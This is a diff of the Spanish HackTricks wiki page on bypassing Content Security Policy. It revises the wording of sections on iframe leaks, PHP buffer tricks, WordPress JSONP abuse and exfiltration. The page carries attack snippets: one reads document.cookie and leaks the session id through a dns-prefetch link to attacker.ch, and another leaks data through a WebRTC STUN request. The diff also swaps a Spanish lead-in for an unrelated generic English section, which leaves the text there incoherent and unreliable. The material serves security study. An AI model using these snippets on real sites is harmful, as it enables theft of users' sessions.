+Esta vez se va a extraer una **bandera**, cada vez que se **adivine correctamente un carácter** a través de SQLi la **respuesta** tardará **más tiempo** debido a la función de espera. Luego, podrás extraer la bandera:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name=f id=g></iframe> // The bot will load an URL with the payload
@@ -531,13 +563,13 @@ run();
 
 Este ataque implicaría algo de ingeniería social donde el atacante **convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **burlando la CSP y permitiendo robar información sensible** como cookies o tokens.
 
-Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
+Para obtener más información, [**consulte el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
 ### Bypass de CSP restringiendo CSP
 
-En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se burla la CSP al inyectar dentro de un iframe permitido una CSP más restrictiva que prohibía cargar un archivo JS específico que, luego, a través de **polución de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
+En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), se burla la CSP al inyectar dentro de un iframe permitido una CSP más restrictiva que impedía cargar un archivo JS específico que, luego, a través de **polución de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
 
-Puedes **restringir una CSP de un Iframe** con el atributo **`csp`**:
+Puede **restringir una CSP de un Iframe** con el atributo **`csp`**:
 
 {% code overflow="wrap" %}
 ```html
@@ -555,7 +587,7 @@ CSP puede ser más restrictivo utilizando **etiquetas meta HTML** y los scripts
 ```
 ### Extracción de JS con Content-Security-Policy-Report-Only
 
-Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`<script>`** y debido a que es altamente probable que `unsafe-inline` no esté permitido por la CSP, esto provocará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde `Content-Security-Policy-Report-Only`.
+Si logras hacer que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`<script>`** y debido a que es altamente probable que `unsafe-inline` no esté permitido por la CSP, esto provocará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde `Content-Security-Policy-Report-Only`.
 
 Para un ejemplo, [**consulta este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
@@ -565,17 +597,17 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
 ```
 ### Filtración de información con CSP y Iframe
 
-- Se crea un `iframe` que apunta a una URL (llamémosla `https://example.redirect.com`) que está permitida por CSP.
-- Esta URL luego redirige a una URL secreta (por ejemplo, `https://usersecret.example2.com`) que **no está permitida** por CSP.
-- Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que se redirigió la URL inicial.
+* Se crea un `iframe` que apunta a una URL (llamémosla `https://example.redirect.com`) que está permitida por CSP.
+* Esta URL luego redirige a una URL secreta (por ejemplo, `https://usersecret.example2.com`) que **no está permitida** por CSP.
+* Al escuchar el evento `securitypolicyviolation`, se puede capturar la propiedad `blockedURI`. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que redirigió la URL inicial.
 
 Es interesante notar que navegadores como Chrome y Firefox tienen diferentes comportamientos al manejar iframes con respecto a CSP, lo que puede llevar a la filtración potencial de información sensible debido al comportamiento no definido.
 
-Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están bloqueados deliberadamente. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí tienes un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
+Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y ajusta el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir las posibles letras en el subdominio secreto, descubriendo eventualmente la URL completa.
+Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir el número de caracteres posibles en el subdominio secreto, descubriendo eventualmente la URL completa.
 
 Ambos métodos explotan los matices de la implementación y el comportamiento de la CSP en los navegadores, demostrando cómo las políticas aparentemente seguras pueden filtrar inadvertidamente información sensible.
 
@@ -592,15 +624,15 @@ Participa en contenido que explora la emoción y los desafíos del hacking
 Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
 
 **Últimos Anuncios**\
-Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
+Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma
 
-**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
+**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
 
 ## Tecnologías Inseguras para Evadir CSP
 
 ### Sobrecarga del búfer de respuesta de PHP
 
-PHP es conocido por **almacenar en búfer la respuesta hasta 4096** bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficientes datos dentro de las advertencias**, la **respuesta** se **enviará** **antes** del **encabezado CSP**, lo que hace que el encabezado se ignore.\
+PHP es conocido por **almacenar en búfer la respuesta hasta 4096** bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficientes datos dentro de las advertencias**, la **respuesta** se **enviará** **antes** del **encabezado CSP**, lo que hará que el encabezado se ignore.\
 Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el encabezado CSP no se envíe.
 
 Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@@ -624,7 +656,7 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un punt
 
 Además, **wordpress** tiene un punto final **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
 
-Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final de callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
+Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
 Para obtener más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
 ## Bypasses de Exfiltración de CSP
@@ -646,7 +678,7 @@ Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección,
 ```
 ### DNS Prefetch
 
-Para cargar páginas más rápido, los navegadores van a preresolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\
+Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\
 Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link reol="dns-prefetch" href="something.com">`
 
 Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**:
@@ -655,7 +687,25 @@ var sessionid = document.cookie.split('=')[1]+".";
 var body = document.getElementsByTagName('body')[0];
 body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
 ```
-Otra forma de hacerlo:
+### Bypassing Content Security Policy (CSP)
+
+#### Introduction
+
+Content Security Policy (CSP) is a security layer that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.
+
+#### Bypass Techniques
+
+1. **Unsafe Inline Scripts**: By using techniques like dynamic script injection or event handlers, attackers can execute arbitrary code inline, bypassing CSP restrictions.
+
+2. **Data: Scheme**: Attackers can leverage the `data:` scheme to embed malicious code within a website, bypassing CSP restrictions on external resources.
+
+3. **Unsafe Eval**: The `unsafe-eval` directive in CSP allows the execution of dynamically generated code using functions like `eval()`. Attackers can exploit this to bypass CSP protections.
+
+4. **Nonce Bypass**: If a website improperly implements nonce-based CSP, attackers can bypass restrictions by injecting scripts with a valid nonce.
+
+#### Conclusion
+
+While Content Security Policy is an effective security measure, it is crucial to understand potential bypass techniques to ensure robust protection against attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities effectively.
 ```javascript
 const linkEl = document.createElement('link');
 linkEl.rel = 'prefetch';
@@ -674,7 +724,7 @@ Aparentemente, esta técnica no funciona en navegadores sin interfaz (bots)
 
 En varias páginas se puede leer que **WebRTC no verifica la política `connect-src`** del CSP.
 
-De hecho, se pueden _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código:
+De hecho, puedes _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código:
 ```javascript
 (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
 ```
@@ -709,7 +759,6 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
 * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
 
-
 ​
 
 <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@@ -736,7 +785,7 @@ Otras formas de apoyar a HackTricks:
 * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
 * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>